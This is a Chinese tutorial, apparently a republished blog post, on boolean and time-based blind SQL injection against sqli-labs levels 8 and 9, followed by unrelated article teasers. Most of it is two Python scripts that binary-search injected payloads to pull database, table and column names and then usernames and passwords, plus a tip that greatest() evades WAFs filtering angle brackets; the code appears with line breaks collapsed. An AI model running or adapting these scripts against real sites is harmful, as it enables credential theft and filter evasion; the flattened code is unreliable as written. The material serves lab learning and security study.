二分查找sql时间盲注,布尔盲注

目录

一:基础知识引导

数据库:information_schema里面记录着数据库的所有元信息

二,布尔盲注,时间盲注

(1)布尔盲注案例(以sqli-labs第八关为例):

(2)时间盲注案例(以sqli-labs第九关为例):


一:基础知识引导

数据库:information_schema里面记录着数据库的所有元信息

use information_schema;

schemata表,记录着所有数据库(schema_name数据库的名称)

select schema_name from schemata;

tables表,记录着所有表(重要字段:table_schema所属的数据库,table_name数据表的名称)

select table_name from tables where table_schema = "security"; 查找数据库”security“的所有表

columns表,记录着所有字段(列)(table_schema所属数据库,table_name数据表的名称,column_name列名称)

select column_name from columns where table_schema="security" and table_name="users";查找数据库为“security”,表为“users”的所有字段名称

二,布尔盲注,时间盲注

特征:

1,其实这两个盲注本质上是一样的,两个盲注都是页面没有回显(报错回显,查询结果回显

2,布尔盲注是sql执行结果正确和错误显示的页面不一样,可以从返回页面的情况来进行判断。时间盲注则是sql执行结果正确与否显示的页面都一样,但是确实存在sql注入的情况,此时可以使用if(条件,sleep(3),)对是否沉睡三秒来进行判断

(1)布尔盲注案例(以sqli-labs第八关为例):

可以看到对sql查询有结果的话显示的页面是"You are in...........",没结果则不显示,此时可以使用sqlmap软件去进行盲注查找,也可以使用sql脚本去遍历查找自己所需的值。

python脚本代码:

import requests# URL = "http://localhost/Less-8/"
# paload = {"id":"1' and ascii(substr(database(),1,1))=115 -- "}
# res = requests.get(url=URL,params=paload)
# if "You are in" in res.text:
#     print("yes")
# else:
#     print("no")
def get_database(URL):# 获取数据库名称s = ""for i in range(1,10):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"id": f"1' and greatest(ascii(substr(database(),{i},1)),{mid})={mid} -- "}#相当于第一个字符<={mid}条件判断为真res = requests.get(url=URL, params=paload)if "You are in" in res.text:hight = midmid = (low + hight) // 2else:low = mid +1mid = (low + hight) // 2s+=chr(mid)print("数据库名称:"+s)def get_table(URL):# 获取表名称s = ""for i in range(1,32):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"id": f"1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid} -- "}res = requests.get(url=URL, params=paload)if "You are in" in res.text:low = mid +1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s+=chr(mid)print("表的名称:"+s)def get_column(URL):# 获取管理员的字段名称s = ""for i in range(1,32):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"id": f"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid} -- "}res = requests.get(url=URL, params=paload)if "You are in" in res.text:low = mid +1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s+=chr(mid)print("列的名称:"+s)def get_result(URl):# 获取用户名和密码信息s = ""for i in range(1,32):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"id": f"1' and ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid} -- "}res = requests.get(url=URL, params=paload)if "You are in" in res.text:low = mid +1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s+=chr(mid)print("用户名及密码信息:"+s)if __name__ == '__main__':URL = "http://localhost/Less-8/"# get_database(URL)# get_table(URL)# get_column(URL)get_result(URL)

执行结果:

这里我只遍历了32位,有需要可以增加。

(2)时间盲注案例(以sqli-labs第九关为例):

php代码:

可以看出无论sql正确与否,查到或者未查到显示的页面都是一样的,但是还是存在时间盲注:可以用if(1=1,sleep(3),1)测试一下

此时,浏览器上方转圈圈转了三秒,说明存在时间盲注,此时用python脚本遍历的方法大致跟布尔盲注一样,只需要将sql条件注入写到if()中1=1的位置即可。然后根据浏览器获得页面的前后时间进行判断。

python脚本代码:

import requests
import datetime
# URL = "http://localhost/Less-8/"
# paload = {"id":"1' and ascii(substr(database(),1,1))=115 -- "}
# res = requests.get(url=URL,params=paload)
# if "You are in" in res.text:
#     print("yes")
# else:
#     print("no")
def get_database(URL):# 获取数据库名称s = ""for i in range(1,10):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"id": f"1' and if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),sleep(3),1) -- "}#相当于第一个字符<={mid}条件判断为真start = datetime.datetime.now()res = requests.get(url=URL, params=paload)end = datetime.datetime.now()if (end - start).seconds >=3:hight = midmid = (low + hight) // 2else:low = mid +1mid = (low + hight) // 2s+=chr(mid)print("数据库名称:"+s)def get_table(URL):# 获取表名称s = ""for i in range(1,32):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"id": f"1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),sleep(3),1) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=paload)end = datetime.datetime.now()if (end - start).seconds >=3:low = mid +1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s+=chr(mid)print("表的名称:"+s)def get_column(URL):# 获取管理员的字段名称s = ""for i in range(1,32):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"id": f"1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),sleep(3),1) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=paload)end = datetime.datetime.now()if (end - start).seconds >=3:low = mid +1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s+=chr(mid)print("列的名称:"+s)def get_result(URl):# 获取用户名和密码信息s = ""for i in range(1,32):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"id": f"1' and if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),sleep(3),1) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=paload)end = datetime.datetime.now()if (end - start).seconds >=3:low = mid +1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s+=chr(mid)print("用户名及密码信息:"+s)if __name__ == '__main__':URL = "http://localhost/Less-9/"get_database(URL)# get_table(URL)# get_column(URL)# get_result(URL)

结果:

上面两个python脚本代码的第一个获取数据库的函数,sql语句注入用到了greatest函数,可用来绕过过滤掉<>的waf

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/17770.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机器学习 - 理论和定理

在机器学习中&#xff0c;有一些非常有名的理论或定理&#xff0c;对理解机器学习的内在特性非常有帮助。本文列出机器学习中常用的理论和定理&#xff0c;并举出对应的举例子加以深化理解&#xff0c;有些理论比较抽象&#xff0c;我们可以先记录下来&#xff0c;慢慢啃&#…

Linux Mem -- ARM8.5-A Memory Tagging Extension

目录 1 介绍 2 威胁模型 3 MTE的内存安全 4 架构细节 5 在ARMv8-A架构&#xff0c;MTE添加了如下指令&#xff0c;可根据策略分为三种&#xff1a; 6 大量部署MTE 7 MTE的硬件层部署 8 MTE的软件层部署 8.1 Heap Tagging 8.2 Stack Tagging 9 MTE优化 近期在深入了解A…

深入剖析推理模型:从DeepSeek R1看LLM推理能力构建与优化

著名 AI 研究者和博主 Sebastian Raschka 又更新博客了。原文地址&#xff1a;https://sebastianraschka.com/blog/2025/understanding-reasoning-llms.html。这一次&#xff0c;他将立足于 DeepSeek 技术报告&#xff0c;介绍用于构建推理模型的四种主要方法&#xff0c;也就是…

如何保持 mysql 和 redis 中数据的一致性?PegaDB 给出答案

MySQL 与 Redis 数据保持一致性是一个常见且复杂的问题&#xff0c;一般来说需要结合多种策略来平衡性能与一致性。 传统的解决策略是先读缓存&#xff0c;未命中则读数据库并回填缓存&#xff0c;但方式这种维护成本较高。 随着云数据库技术的发展&#xff0c;目前国内云厂商…

Vue 入门到实战 十

第10章 Vue Router​​​​​​​ 目录 10.1 什么是路由 10.2 Vue Router的安装 10.2.1 本地独立版本方法 10.2.2 CDN方法 10.2.3 NPM方法 10.2.4 命令行工具&#xff08;Vue CLI&#xff09;方法 10.3 Vue Router的基本用法 10.3.1 跳转与传参 10.3.2 配置路由 10.…

Java并发中的CAS机制:原理、应用与挑战(通俗易懂版)

上一期文章内容&#xff1a;Java并发中的乐观锁与悲观锁&#xff0c; 本期文章我们来讲一下Java并发中的CAS机制 一、从银行账户案例理解CAS CAS 是一种乐观锁机制&#xff0c;用于在不使用锁的情况下实现多线程对共享资源的并发访问。 它包含三个操作数&#xff1a;内存位置&a…

SpringBoot自动配置-以Mybatis配置为例

SpringBoot自动配置 无基础的直接看链接内容&#xff0c;有基础就直接顺着往下看就可以 Spring底层&#xff08;自动配置&#xff09; 自动配置就是EnableXXX封装Improt&#xff08;ImportSelector的实现类&#xff09;对应方法selectImoprt返回字符串数组为类名会注册为bean…

2025 docker可视化管理面板DPanel的安装

1.什么是 DPanel &#xff1f; DPanel 是一款 Docker 可视化管理面板&#xff0c;旨在简化 Docker 容器、镜像和文件的管理。它提供了一系列功能&#xff0c;使用户能够更轻松地管理和部署 Docker 环境。 软件特点&#xff1a; 可视化管理&#xff1a;提供直观的用户界面&#…

DeepSeek从入门到精通(清华大学)

​ DeepSeek是一款融合自然语言处理与深度学习技术的全能型AI助手&#xff0c;具备知识问答、数据分析、编程辅助、创意生成等多项核心能力。作为多模态智能系统&#xff0c;它不仅支持文本交互&#xff0c;还可处理文件、图像、代码等多种格式输入&#xff0c;其知识库更新至2…

Word 里面嵌入DeepSeek

目录 一、问题描述 二、解决方法 三、代码 四、注意事项 五、总结 一、问题描述 如何在Word里面嵌入DeepSeek? 二、解决方法 1、新建文档&#xff0c;按 AltF11&#xff0c;进入VB界面。 2、选中文档&#xff0c;右键->插入->模块。 3、进入模块&#xff0c;粘入…

java面试题-集合篇

Collection 1.Collection有哪些类&#xff1f; Java集合框架中的Collection接口是所有集合类的基础接口&#xff0c;定义了一些基本的集合操作&#xff0c;如添加元素、删除元素、判断是否包含某个元素等。常见的集合类包括List、Set和Queue。 List List接口定义了按照索引…

国内 网络安全沙箱

CSRF攻击 CSRF攻击概述&#xff1a; CSRF&#xff08;Cross Site Request Forgery, 跨站域请求伪造&#xff09;是一种网络的攻击方式&#xff0c;它在 2007 年曾被列为互联网 20 大安全隐患之一。其他安全隐患&#xff0c;比如 SQL 脚本注入&#xff0c;跨站域脚本攻击等在近…

Web3 的虚实融合之路:从虚拟交互到元宇宙构建

在这个数字技术日新月异的时代&#xff0c;我们正站在 Web3 的门槛上&#xff0c;见证着互联网的又一次革命。Web3 不仅仅是技术的迭代&#xff0c;它代表了一种全新的交互方式和价值创造模式。本文将探讨 Web3 如何推动虚拟交互的发展&#xff0c;并最终实现元宇宙的构建&…

项目中菜单按照层级展示sql

效果如图&#xff1a; 直接上脚本 查四级菜单 select EFT_FLAG,MENU_ID, CASE LEN(MENU_LVL)WHEN 4THEN MENU_NAME ELSE - END AS MENU_NAME1, CASE LEN(MENU_LVL)WHEN 8THEN MENU_NAME ELSE - END AS MENU_NAME2, CASE LEN(MENU_LVL)WHEN 12THEN MENU_NAME ELSE - END …

Reasoning in High Gear 推理加速发展

Reasoning in High Gear 推理加速发展 关键信息&#xff1a;OpenAI推出GPT - 3 - mini&#xff0c;它是GPT - 1模型后续版本&#xff0c;在速度、成本及特定领域能力上有显著优势。 模型特性 推理强度可选&#xff1a;提供低、中、高三个推理 “强度” 级别&#xff0c;不同级别…

Linux驱动层学习:LED 驱动开发

前置知识&#xff1a; 1、地址映射 MMU 全称叫做 Memory Manage Unit&#xff0c;也就是内存管理单元。 MMU 主要完成的功能如下&#xff1a; ①、完成虚拟空间到物理空间的映射。 ②、内存保护&#xff0c;设置存储器的访问权限&#xff0c;设置虚拟存储空间的缓冲特性。 第…

数据挖掘智能Agent

&#x1f917; CodeGenie - 智能编程助手 数据处理和分析对于数据分析工作人员来说&#xff0c;往往既复杂又令人头疼&#xff0c;需要耗费大量精力进行重复性工作。为了解决这一问题&#xff0c;我们开发了一款集成了自然语言处理和代码生成功能的智能编程助手——CodeGenie。…

【C++】Vector容器

为什么要学习vector&#xff1f; 1. 上一章分享了string&#xff0c;而string实际上是一个管理字符的顺序表。 2. 而除了字符以外&#xff0c;我们经常用到整形数组&#xff0c;所以我们需要针对其他类型数据的顺序表。 3. vector实际上也是一个顺序表&#xff0c;而且主要用来…

国内 ChatGPT Plus/Pro 订阅教程

1. 登录 chat.openai.com 依次点击 Login &#xff0c;输入邮箱和密码 2. 点击升级 Upgrade 登录自己的 OpenAI 帐户后&#xff0c;点击左下角的 Upgrade to Plus&#xff0c;在弹窗中选择 Upgrade plan。 如果升级入口无法点击&#xff0c;那就访问这个网址&#xff0c;htt…

Winform禁止高分辨下缩放布局成功方法

Windows自动缩放布局会导致窗体上的按钮和文本挤在一起根本看不清楚。 那么该如何解决呢&#xff1f; 具体操作步骤如下&#xff1a; 1、在项目属性上切换到【安全性】菜单&#xff0c;勾选【启用ClickOnce安全设置】&#xff0c;然后立刻取消勾选&#xff1b; 为了生成app.…